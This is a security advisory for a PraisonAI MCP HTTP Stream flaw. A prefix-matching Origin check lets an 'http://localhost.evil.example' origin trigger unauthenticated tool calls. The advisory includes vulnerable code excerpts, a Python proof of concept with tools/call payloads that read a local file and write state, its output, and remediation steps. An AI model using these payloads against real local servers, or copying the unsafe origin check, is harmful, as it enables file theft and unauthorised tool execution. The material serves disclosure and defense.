CVE-2026-55529: PraisonAI: Origin validation bypass in MCP HTTP Stream transport allows browser-mediated unauthenticated tool execution on local MCP server
Summary
PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.
As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.
When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.
This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.
Details
Relevant source locations:
- src/praisonai/praisonai/mcpserver/cli.py - src/praisonai/praisonai/mcpserver/transports/httpstream.py - src/praisonai/praisonai/mcpserver/server.py - src/praisonai/praisonai/mcpserver/adapters/init.py - src/praisonai/praisonai/mcpserver/adapters/extendedcapabilities.py - src/praisonai/praisonai/mcpserver/adapters/clitools.py - src/praisonai/praisonai/capabilities/files.py
The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:
python parser.addargument("--host", default="127.0.0.1") parser.addargument("--port", type=int, default=8080) parser.addargument("--api-key", default=None) parser.addargument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")
The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:
python registerall()
server.runhttpstream( host=parsed.host, port=parsed.port, endpoint=parsed.endpoint, apikey=parsed.apikey, corsorigins=corsorigins, allowedorigins=allowedorigins, sessionttl=parsed.sessionttl, allowclienttermination=allowtermination, responsemode=parsed.responsemode, resumabilityenabled=parsed.resumability, )
When allowedorigins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:
python if allowedorigins is None: if host in ("127.0.0.1", "localhost", "::1"): self.allowedorigins = [ "http://localhost", "http://127.0.0.1", "https://localhost", "https://127.0.0.1", ]
The vulnerable validation accepts origins that merely start with an allowlisted value:
python for allowed in self.allowedorigins: if requestorigin == allowed or requestorigin.startswith(allowed): return True
Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.
Authentication is only enforced if an API key is configured:
python if self.apikey: authheader = request.headers.get("Authorization", "") if not authheader.startswith("Bearer ") or authheader[7:] != self.apikey: return JSONResponse( {"error": "Unauthorized"}, statuscode=401, )
The request body is then parsed and dispatched to the MCP server:
python body = await request.json() response = await self.server.handlemessage(body)
The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:
python toolname = params.get("name") arguments = params.get("arguments", {})
tool = self.toolregistry.get(toolname)
if asyncio.iscoroutinefunction(tool.handler): result = await tool.handler(arguments) else: result = tool.handler(arguments)
registerall() registers capability tools, extended capability tools, CLI tools, resources, and prompts:
python def registerall(): registeralltools() registerextendedcapabilitytools() registerclitools() registermcpresources() registermcpprompts()
One exposed MCP tool is praisonai.files.create, which accepts a local filepath and passes it to filecreate():
python @registertool("praisonai.files.create") def filescreate(filepath: str, purpose: str = "assistants") -> str: from praisonai.capabilities import filecreate result = filecreate(file=filepath, purpose=purpose)
filecreate() opens attacker-selected string paths as local files and passes the file object to LiteLLM:
python fileobj = file if isinstance(file, str): fileobj = open(file, 'rb')
response = litellm.createfile(callkwargs)
Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.
PoC
The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.
Run from the repository root with test dependencies installed:
bash python3 pocmcporiginbypass.py
pocmcporiginbypass.py:
python import json import os import sys import tempfile import types from pathlib import Path
from starlette.testclient import TestClient
ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
Fake litellm so the PoC proves local file read without network exfiltration. captured = {} fakelitellm = types.ModuleType("litellm")
def createfile(kwargs): f = kwargs["file"] captured["filename"] = getattr(f, "name", "<bytes>") captured["content"] = f.read().decode("utf-8")
class Resp: id = "file-safe-local-poc" object = "file" bytes = len(captured["content"]) filename = captured["filename"] purpose = kwargs.get("purpose") status = "processed"
return Resp()
fakelitellm.createfile = createfile sys.modules["litellm"] = fakelitellm
from praisonai.mcpserver.server import MCPServer from praisonai.mcpserver.transports.httpstream import HTTPStreamTransport from praisonai.mcpserver.adapters import registerall
registerall() server = MCPServer(name="praisonai-local-poc")
Default vulnerable configuration: localhost host, no API key, default allowed origins. transport = HTTPStreamTransport( server=server, host="127.0.0.1", apikey=None, allowedorigins=None, ) app = transport.createapp() client = TestClient(app)
with tempfile.TemporaryDirectory() as td: os.environ["HOME"] = td
marker = Path(td) / "safe-marker.txt" marker.writetext("SAFELOCALMARKERMCPFILEREAD")
filepayload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "praisonai.files.create", "arguments": { "filepath": str(marker), "purpose": "assistants", }, }, }
# Non-localhost malicious origin is blocked. blocked = client.post( "/mcp", data=json.dumps(filepayload), headers={ "Origin": "https://evil.example", "Content-Type": "text/plain", }, )
# Prefix-matching bypass: accepted because it starts with http://localhost. bypass = client.post( "/mcp", data=json.dumps(filepayload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )
todopayload = { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "praisonai.todo.add", "arguments": { "content": "SAFELOCALTODOMARKER", "priority": "high", }, }, }
todo = client.post( "/mcp", data=json.dumps(todopayload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )
todofile = Path(td) / ".praison" / "todo.json"
print(json.dumps({ "blockedoriginstatus": blocked.statuscode, "bypassoriginstatus": bypass.statuscode, "bypassresponsetext": bypass.json().get("result", {}).get("content", [{}])[0].get("text"), "capturedfilebasename": Path(captured.get("filename", "")).name, "capturedfilecontent": captured.get("content"), "todostatus": todo.statuscode, "todoresponsetext": todo.json().get("result", {}).get("content", [{}])[0].get("text"), "todofileexists": todofile.exists(), }, indent=2))
Observed output:
json { "blockedoriginstatus": 403, "bypassoriginstatus": 200, "bypassresponsetext": "File created: file-safe-local-poc", "capturedfilebasename": "safe-marker.txt", "capturedfilecontent": "SAFELOCALMARKERMCPFILEREAD", "todostatus": 200, "todoresponsetext": "Todo added: 0440613d", "todofileexists": true }
The important results are:
- Origin: https://evil.example is rejected with 403. - Origin: http://localhost.evil.example is accepted with 200. - The bypassed request invokes praisonai.files.create and reads the local safe marker file. - The bypassed request invokes praisonai.todo.add and writes local PraisonAI state.
Impact
A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.
In local testing, this allowed invoking registered PraisonAI tools that:
- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and - modify local PraisonAI state by writing to ~/.praison/todo.json.
The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.
Other sources
PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, the MCP HTTP Stream validateorigin method accepts requestorigin.startswith(allowed), so the attacker-controlled localhost.evil.example HTTP origin matches the localhost allowlist. Without an API key, a malicious webpage can submit tools/call requests to the local MCP server and execute exposed tools. This issue is fixed in version 4.6.58.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.58 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 4.6.58 - Configuration
Ensure HTTP Stream transport allowed origins are explicitly configured and do not rely on the vulnerable behavior where request_origin.startswith(allowed) could accept attacker-controlled origins like "http://localhost.evil.example". (Issue fixed in praisonai 4.6.58.)
PraisonAI MCP HTTP Stream transport allowed_origins = Explicitly configure allowed origins (do not rely on default/implicit localhost prefix match) - Configuration
Start the MCP HTTP Stream server with an API key configured, since authentication is only enforced if an API key is configured; without an API key, a malicious webpage can trigger unauthenticated MCP tools/call requests.
PraisonAI MCP HTTP Stream server (CLI / transport) api_key = Configure an API key (non-None) - Compensating control
Run the MCP HTTP Stream server so it is not reachable from browser contexts (e.g., bind only to localhost as in the default, and avoid setups that allow browser-mediated access such as DNS-rebinding-style scenarios), and do not expose the HTTP Stream server to untrusted networks.
Event History
Frequently Asked Questions
Who is realistically exposed to this issue?
Users running a local PraisonAI MCP HTTP Stream server without an API key are exposed, because that is the CLI default. The default bind address is 127.0.0.1, so the server is not directly internet-facing by default; exploitation requires a victim browser to access attacker-controlled content.
What does an attacker need to exploit the vulnerability?
An attacker needs to induce a user with the local MCP server running to visit a malicious webpage. That page can use an origin beginning with an allowed localhost value, such as http://localhost.evil.example, to bypass the Origin validation and send unauthenticated tools/call requests.
Are default settings affected?
Yes. The default localhost allowlist uses unsafe prefix matching, and the CLI starts the server without an API key by default. Although the server binds only to 127.0.0.1 by default, browser-mediated requests can still reach it from a malicious site.
What can be done if patching is not immediately possible?
Configure the MCP HTTP Stream server to require an API key. Avoid running the unauthenticated local server while browsing untrusted websites, since exploitation relies on a malicious webpage reaching the localhost service through the browser.